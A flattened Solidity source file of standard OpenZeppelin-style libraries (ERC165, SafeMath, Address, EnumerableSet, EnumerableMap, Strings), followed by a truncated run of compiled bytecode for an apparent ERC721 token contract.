tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } }
0x6080604052600436106101145760003560e01c80636352211e116100a0578063a22cb46511610064578063a22cb46514610420578063b88d4fde1461045b578063c87b56dd1461052e578063d082e38114610558578063e985e9c51461056d57610114565b80636352211e1461037c5780636c0360eb146103a657806370a08231146103bb57806395d89b41146103ee578063a0712d681461040357610114565b806318160ddd116100e757806318160ddd1461026c57806323b872dd146102935780632f745c59146102d657806342842e0e1461030f5780634f6ccce71461035257610114565b806301ffc9a71461011957806306fdde0314610161578063081812fc146101eb578063095ea7b314610231575b600080fd5b34801561012557600080fd5b5061014d6004803603602081101561013c57600080fd5b50356001600160e01b0319166105a8565b604080519115158252519081900360200190f35b34801561016d57600080fd5b506101766105cb565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b0578181015183820152602001610198565b50505050905090810190601f1680156101dd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f757600080fd5b506102156004803603602081101561020e57600080fd5b5035610661565b604080516001600160a01b039092168252519081900360200190f35b34801561023d57600080fd5b5061026a6004803603604081101561025457600080fd5b506001600160a01b0381351690602001356106c3565b005b34801561027857600080fd5b5061028161079e565b60408051918252519081900360200190f35b34801561029f57600080fd5b5061026a600480360360608110156102b657600080fd5b506001600160a01b038135811691602081013590911690604001356107af565b3480156102e257600080fd5b50610281600480360360408110156102f957600080fd5b506001600160a01b038135169060200135610806565b34801561031b57600080fd5b5061026a6004803603606081101561033257600080fd5b506001600160a01b03813581169160208101359091169060400135610837565b34801561035e57600080fd5b506102816004803603602081101561037557600080fd5b5035610852565b34801561038857600080fd5b506102156004803603602081101561039f57600080fd5b503561086e565b3480156103b257600080fd5b5061017661089c565b3480156103c757600080fd5b50610281600480360360208110156103de57600080fd5b50356001600160a01b03166108fd565b3480156103fa57600080fd5b50610176610965565b61026a6004803603602081101561041957600080fd5b50356109c6565b34801561042c57600080fd5b5061026a6004803603604081101561044357600080fd5b506001600160a01b03813516906020013515156109f5565b34801561046757600080fd5b5061026a6004803603608081101561047e57600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156104b957600080fd5b8201836020820111156104cb57600080fd5b803590602001918460018302840111640100000000831117156104ed57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610afa945050505050565b34801561053a57600080fd5b506101766004803603602081101561055157600080fd5b5035610b58565b34801561056457600080fd5b50610281610ddb565b34801561057957600080fd5b5061014d6004803603604081101561059057600080fd5b506001600160a01b0381358116916020013516610de1565b6001600160e01b0319811660009081526020819052604090205460ff165b919050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106575780601f1061062c57610100808354040283529160200191610657565b820191906000526020600020905b81548152906001019060200180831161063a57829003601f168201915b5050505050905090565b600061066c82610e0f565b6106a75760405162461bcd60e51b815260040180806020018281038252602c815260200180611bbd602c913960400191505060405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006106ce8261086e565b9050806001600160a01b0316836001600160a01b031614156107215760405162461bcd60e51b8152600401808060200182810382526021815260200180611c416021913960400191505060405180910390fd5b806001600160a01b0316610733610e22565b6001600160a01b0316148061075457506107548161074f610e22565b610de1565b61078f5760405162461bcd60e51b8152600401808060200182810382526038815260200180611b106038913960400191505060405180910390fd5b6107998383610e26565b505050565b60006107aa6002610e94565b905090565b6107c06107ba610e22565b82610e9f565b6107fb5760405162461bcd60e51b8152600401808060200182810382526031815260200180611c626031913960400191505060405180910390fd5b610799838383610f43565b6001600160a01b038216600090815260016020526040812061082e908363ffffffff6110a116565b90505b92915050565b61079983838360405180602001604052806000815250610afa565b60008061086660028463ffffffff6110ad16565b509392505050565b600061083182604051806060016040528060298152602001611b72602991396002919063ffffffff6110c916565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106575780601f1061062c57610100808354040283529160200191610657565b60006001600160a01b0382166109445760405162461bcd60e51b815260040180806020018281038252602a815260200180611b48602a913960400191505060405180910390fd5b6001600160a01b038216600090815260016020526040902061083190610e94565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106575780601f1061062c57610100808354040283529160200191610657565b60005b818110156109f157600a546109de33826110e0565b50600a80546001908101909155016109c9565b5050565b6109fd610e22565b6001600160a01b0316826001600160a01b03161415610a63576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060056000610a70610e22565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610ab4610e22565b60408051841515815290516001600160a01b0392909216917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c319181900360200190a35050565b610b0b610b05610e22565b83610e9f565b610b465760405162461bcd60e51b8152600401808060200182810382526031815260200180611c626031913960400191505060405180910390fd5b610b52848484846110fa565b50505050565b6060610b6382610e0f565b610b9e5760405162461bcd60e51b815260040180806020018281038252602f815260200180611c12602f913960400191505060405180910390fd5b60008281526008602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845260609392830182828015610c335780601f10610c0857610100808354040283529160200191610c33565b820191906000526020600020905b815481529060010190602001808311610c1657829003601f168201915b505050505090506060610c4461089c565b9050805160001415610c58575090506105c6565b815115610d195780826040516020018083805190602001908083835b60208310610c935780518252601f199092019160209182019101610c74565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610cdb5780518252601f199092019160209182019101610cbc565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506105c6565b80610d238561114c565b6040516020018083805190602001908083835b60208310610d555780518252601f199092019160209182019101610d36565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b60208310610d9d5780518252601f199092019160209182019101610d7e565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b600a5481565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600061083160028363ffffffff61122716565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610e5b8261086e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061083182611233565b6000610eaa82610e0f565b610ee55760405162461bcd60e51b815260040180806020018281038252602c815260200180611ae4602c913960400191505060405180910390fd5b6000610ef08361086e565b9050806001600160a01b0316846001600160a01b03161480610f2b5750836001600160a01b0316610f2084610661565b6001600160a01b0316145b80610f3b5750610f3b8185610de1565b949350505050565b826001600160a01b0316610f5682